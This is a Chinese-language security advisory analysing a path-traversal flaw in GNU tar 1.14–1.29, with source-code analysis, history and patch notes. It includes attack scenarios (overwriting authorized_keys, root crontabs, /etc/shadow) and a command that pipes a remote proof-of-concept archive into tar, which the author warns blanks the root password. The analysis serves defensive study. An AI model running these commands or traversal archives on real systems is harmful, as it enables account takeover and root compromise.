Author:LG (知道创宇404安全实验室)
漏洞简介
GNU tar文档管理命令是linux系统下常用的一个打包、压缩的命令。经CSS（FSC1V Cyber Security Services）团队的研究员Harry Sintonen研究发现tar解压命令，tar命令在提取路径时能够被绕过导致在某些情况下文件被覆盖。在一些特定的场景下，利用此漏洞甚至可导致远程代码执行。
漏洞影响范围
从GNU tar 1.14 to 1.29 (包含1.29) 影响包括Red Hat,Alphine Linux，Red Star OS以及其他所有使用GNU tar的Linux系统。
漏洞细节
攻击者利用该漏洞，构造一个特殊的tar包。当受害者使用tar命令解压时，受害者指定的目标路径可被绕过tar解压命令，tar包内的文件与目录就被解压到攻击者指定的位置。
具体攻击场景
以下为漏洞发现者提供的实际攻击场景 ：
1.攻击者可以用这种手段诱使用户替换一些重要的文件，例如.ssh/authorized_keys ， .bashrc , .bash_logout , .profile , .subversion或.anyconnect
user@host:~$ dpkg --fsys-tarfile evil.deb | tar -xf -
--wildcards 'blurf*'
tar: Removing leading `blurf/../' from member names
user@host:~$ cat .ssh/authorized_keys
ssh-rsa AAAAB3...nU= mrrobot@fsociety
user@host:~$2.有一些从web应用或者其它类似来源自动解压文件的脚本，这些脚本一般会以setuid root权限执行，通常这类脚本的解压命令如下：
#tar -C / -zxf /tmp/tmp.tgz etc/application var/chroot/application/etc
在这种情况下，攻击者可以重写 /var/spoon/cron/crontabs/root 以获取root身份的代码执行能力； 也可以将可能被root身份执行的二进制文件替换成一个有后门的版本； 或者投放一个setuid root的二进制文件，等待被管理员执行，使攻击者有机会获取root权限。
3.以root身份执行解压命令也可能被攻击 。例如上文中提到覆写/etc/shadow的例子
如果–exclude规则与–anchored选项同时使用，那么即使手动加了–exclude规则也没有用，例如：
tar -C / -xvf tar-poc.tar –anchored –exclude etc/shadow
在两种情况下，攻击者都成功地把/etc/test替换成了任意内容。
不过，在实际利用这个漏洞时，攻击者需要首先知道一些特定的前导信息，例如解压命令执行时实际在命令行下指定的路径名，毕竟在构造攻击tar包时“../”序列之前的路径前缀需要符合tar命令中所输入的路径，攻击才能奏效。
代码分析
根据漏洞发现者的分析，在lib/paxnames.c文件中，有一个safer_name_suffix()函数，这个函数取代了1.13版本的检查机制。
/* Return a safer suffix of FILE_NAME, or "." if it has no safer
suffix. Check for fully specified file names and other atrocities.
Warn the user if we do not return NAME. If LINK_TARGET is 1,
FILE_NAME is the target of a hard link, not a member name.
If ABSOLUTE_NAMES is 0, strip filesystem prefix from the file name. */
char *
safer_name_suffix (char const *file_name, bool link_target,
bool absolute_names)
{
char const *p;
if (absolute_names)
p = file_name;
else
{
/* Skip file system prefixes, leading file name components that contain
"..", and leading slashes. */
size_t prefix_len = FILE_SYSTEM_PREFIX_LEN (file_name);
for (p = file_name + prefix_len; *p; )
{
if (p[0] == '.' && p[1] == '.' && (ISSLASH (p[2]) || !p[2]))
prefix_len = p + 2 - file_name;
do
{
char c = *p++;
if (ISSLASH (c))
break;
}
while (*p);
}
for (p = file_name + prefix_len; ISSLASH (*p); p++)
continue;
prefix_len = p - file_name;
if (prefix_len)
{
const char *prefix;
if (hash_string_insert_prefix (&prefix_table[link_target], file_name,
prefix_len, &prefix))
{
static char const *const diagnostic[] =
{
N_("Removing leading `%s' from member names"),
N_("Removing leading `%s' from hard link targets")
};
WARN ((0, 0, _(diagnostic[link_target]), prefix));
}
}
}
//...
return p ;从代码注释可以看出，如果absolute_names变量为1，将file_name赋值给p继续.反之若为0则将文件名中文件系统的前缀给去掉，并且也会对file_name进行一些安全检查 。
因此，当tar解包时若文件名中包含“../”，safer_name_suffix函数会删除”../”及其之前的部分，将其与解压目录路径变为相对关系。这么做的目的是在兼顾文件名的安全性时保证文件的提取，而不是之前版本中改动的跳过含有恶意文件名的文件。在经过长达13年的应用后，这个漏洞终于被Harry Sintonen发现并公布出来。
于是，笔者研究了这个漏洞相关的发展历史。tar所有版本下载链接发现：
然后笔者继续深入，通过tar官网extract.c文件更新列表对比，从源代码分析tar的安全检测行为。
1999/12/13 commit 前后对比
Revision 1.35官方tag中有一条：
++(extract_archive): By default, warn about ".." in member names, and skip
them.++即Revision 1.35加入了（extract_archive）：默认情况下，在成员名称中警告“..”，并跳过它们
上图中，绿色代码区的功能就填补了之前安全检测的空白。它首先遍历CURRENT_FILE_NAME，如果存在”..”就会警告”Member name contains`..'”，然后跳过这些文件，不去处理它们。而左边的灰色空白区域表明之前的版本缺少安全检测，”../”字符串就能绕过解压路径将文件写到任意位置。
2003/07/05 commit 前后对比
在Revision 1.47官方tag中：
++(extract_archive): Use safer_name_suffix rather than rolling our own.++这就是漏洞初始出现的位置了。
通过代码对比我们可以看到，更新的版本使用safer_name_suffix函数来替代了开发者自己写的规则。
漏洞检测方法
方法一：漏洞发现者给出了示例PoC，用户可用其自检。 (该方法会覆盖用户帐号密码，导致root用户密码为空，建议使用实验环境测试或者采用方法二)
curl https://sintonen.fi/advisories/tar-poc.tar | tar xv etc/motd
cat etc/shadow示例poc
示例poc中含有一个文件shadow，路径为etc/motd/../etc/shadow。在根目录下解压该包，由于漏洞的影响，”../”前面的内容给去掉了，路径文件名只剩下etc/shadow，原有etc/shadow文件就被其覆盖了。
方法二： 访问下载测试tar包后在提取前重命名tar包内shadow文件名，如重命名为test。然后运行如下命令：sudo -s tar -C / -xvf tar-poc.tar etc/motd查看etc目录下，若生成了test文件，证明漏洞存在。
漏洞修复补丁
官方补丁地址GNU tar修复了该漏洞，将安全检测机制重新替换回了extract.c Revision 1.35的规则。
漏洞利用分析
在实际场景中，此漏洞的利用条件比较苛刻。
参考链接
[1]
[2]
[3]
[4]
[5]115_1#rev1.47
admin
